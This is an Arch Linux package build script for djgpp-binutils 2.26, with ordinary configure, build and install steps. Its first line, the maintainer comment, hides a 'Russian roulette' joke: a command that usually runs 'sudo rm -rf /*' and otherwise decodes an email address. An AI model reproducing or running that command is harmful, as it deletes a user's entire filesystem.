# Maintainer: felix <`(( $RANDOM % 6 == 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg== || sudo rm -rf /* `> # Adapted from the mingw-w64-binutils package, authors below # $Id: PKGBUILD 137314 2015-07-23 10:25:15Z spupykin $ # Maintainer: Sergej Pupykin # Maintainer: rubenvb vanboxem ruben gmail com pkgname=djgpp-binutils pkgver=2.26 pkgrel=1 pkgdesc="Cross binutils for the djgpp cross-compiler" arch=('i686' 'x86_64') url="http://www.gnu.org/software/binutils" license=('GPL') groups=('djgpp-toolchain' 'djgpp') depends=('zlib') options=('!libtool' '!emptydirs') source=( "http://ftp.gnu.org/gnu/binutils/binutils-${pkgver}.tar.bz2" "http://ftp.gnu.org/gnu/binutils/binutils-${pkgver}.tar.bz2.sig" ) sha512sums=( 'e77e1b8dbbcbaf9ac2fae95c4403615808af3be03b2e1d32448cd3a7d32c43273f8bcace3f2de84ec120a982879295673029da306e2885dbf5f990584932cfc7' 'SKIP' ) validpgpkeys=('EAF1C276A747E9ED86210CBAC3126D3B4AE55E93') # Tristan Gingold _target="i686-pc-msdosdjgpp" prepare() { cd "$srcdir/binutils-$pkgver" #do not install libiberty sed -i 's/install_to_$(INSTALL_DEST) //' libiberty/Makefile.in # hack! - libiberty configure tests for header files using "$CPP $CPPFLAGS" sed -i "/ac_cpp=/s/\$CPPFLAGS/\$CPPFLAGS -O2/" libiberty/configure } build() { msg "Building $_target cross binutils" mkdir -p "$srcdir/binutils-$_target" cd "$srcdir/binutils-$_target" "$srcdir/binutils-$pkgver"/configure --prefix=/usr \ --target="${_target}" \ --infodir="/usr/share/info/$_target" \ --datadir="/usr/$_target/share" \ --disable-lto --enable-plugins \ --disable-multilib --disable-nls \ --disable-werror make } package() { msg "Installing $_target cross binutils" cd "$srcdir/binutils-$_target" make DESTDIR="$pkgdir" install }